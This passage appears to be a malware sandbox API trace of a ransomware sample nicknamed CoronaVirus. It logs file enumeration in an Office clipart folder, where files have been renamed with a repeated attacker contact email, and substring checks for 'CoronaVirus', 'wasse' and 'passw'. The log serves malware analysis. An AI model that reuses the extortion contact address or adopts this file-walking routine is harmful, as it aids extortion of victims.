	[0095.056] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 242
	[0095.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="wasse") returned 0x0
	[0095.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="passw") returned 0x0
	[0095.056] SetThreadPriority (hThread=0xbf8, nPriority=15) returned 1
	[0095.062] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1491, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", cAlternateFileName="COC878~1.GIF")) returned 1
	[0095.062] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.063] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.064] malloc (_Size=0x1000) returned 0x51f5098
	[0095.064] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 242
	[0095.065] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.065] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="wasse") returned 0x0
	[0095.065] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="passw") returned 0x0
	[0095.066] SetThreadPriority (hThread=0xbfc, nPriority=15) returned 1
	[0095.069] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xa41, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", cAlternateFileName="CO9FB3~1.GIF")) returned 1
	[0095.069] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.072] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.072] malloc (_Size=0x1000) returned 0x51f3088
	[0095.072] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 242
	[0095.072] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.072] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="wasse") returned 0x0
	[0095.072] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="passw") returned 0x0
	[0095.072] SetThreadPriority (hThread=0xc04, nPriority=15) returned 1
	[0095.076] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", cAlternateFileName="CO5DE4~1.GIF")) returned 1
	[0095.078] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.078] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.078] malloc (_Size=0x1000) returned 0x51f60a0
	[0095.078] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 242
	[0095.078] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.078] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="wasse") returned 0x0
	[0095.078] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="passw") returned 0x0
	[0095.079] SetThreadPriority (hThread=0xc08, nPriority=15) returned 1
	[0095.080] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x3bf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", cAlternateFileName="CO74C5~1.GIF")) returned 1
	[0095.080] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.085] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.085] malloc (_Size=0x1000) returned 0x51f0070
	[0095.085] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 242
	[0095.085] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.085] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="wasse") returned 0x0
	[0095.085] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="passw") returned 0x0
	[0095.086] SetThreadPriority (hThread=0xc0c, nPriority=15) returned 1
	[0095.094] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x14d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", cAlternateFileName="CO1D16~1.GIF")) returned 1
	[0095.094] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.094] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.094] malloc (_Size=0x1000) returned 0x51f3088
	[0095.094] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 242
	[0095.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="wasse") returned 0x0
	[0095.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="passw") returned 0x0
	[0095.095] SetThreadPriority (hThread=0xc10, nPriority=15) returned 1
	[0095.096] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1371, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", cAlternateFileName="CO5A9C~1.GIF")) returned 1
	[0095.096] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.101] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.101] malloc (_Size=0x1000) returned 0x51f0070
	[0095.101] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 242
	[0095.101] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.101] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="wasse") returned 0x0
	[0095.101] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="passw") returned 0x0
	[0095.101] SetThreadPriority (hThread=0xc14, nPriority=15) returned 1
	[0095.103] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x13c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", cAlternateFileName="CO5FE4~1.GIF")) returned 1
	[0095.103] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.107] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.107] malloc (_Size=0x1000) returned 0x51f1078
	[0095.107] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 242
	[0095.107] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.107] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="wasse") returned 0x0
	[0095.107] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="passw") returned 0x0
	[0095.108] SetThreadPriority (hThread=0xc18, nPriority=15) returned 1
	[0095.110] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", cAlternateFileName="CO6C97~1.GIF")) returned 1
	[0095.114] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.114] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.114] malloc (_Size=0x1000) returned 0x51f3088
	[0095.114] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 242
	[0095.114] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.114] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="wasse") returned 0x0
	[0095.114] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="passw") returned 0x0
	[0095.114] SetThreadPriority (hThread=0xc1c, nPriority=15) returned 1
	[0095.116] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1dc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", cAlternateFileName="COC777~1.GIF")) returned 1
	[0095.116] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.119] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.119] malloc (_Size=0x1000) returned 0x51f3088
	[0095.119] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 242
	[0095.119] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.119] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="wasse") returned 0x0
	[0095.119] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="passw") returned 0x0
	[0095.120] SetThreadPriority (hThread=0xc20, nPriority=15) returned 1
	[0095.124] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1b71, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", cAlternateFileName="CO518B~1.GIF")) returned 1
	[0095.124] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.125] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.127] malloc (_Size=0x1000) returned 0x51f0070
	[0095.127] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 242
	[0095.127] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.127] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="wasse") returned 0x0
	[0095.127] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="passw") returned 0x0
	[0095.127] SetThreadPriority (hThread=0xc24, nPriority=15) returned 1
	[0095.132] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x33e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", cAlternateFileName="COB92C~1.GIF")) returned 1
	[0095.135] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.135] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.135] malloc (_Size=0x1000) returned 0x51f60a0
	[0095.135] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 242
	[0095.135] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.135] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="wasse") returned 0x0
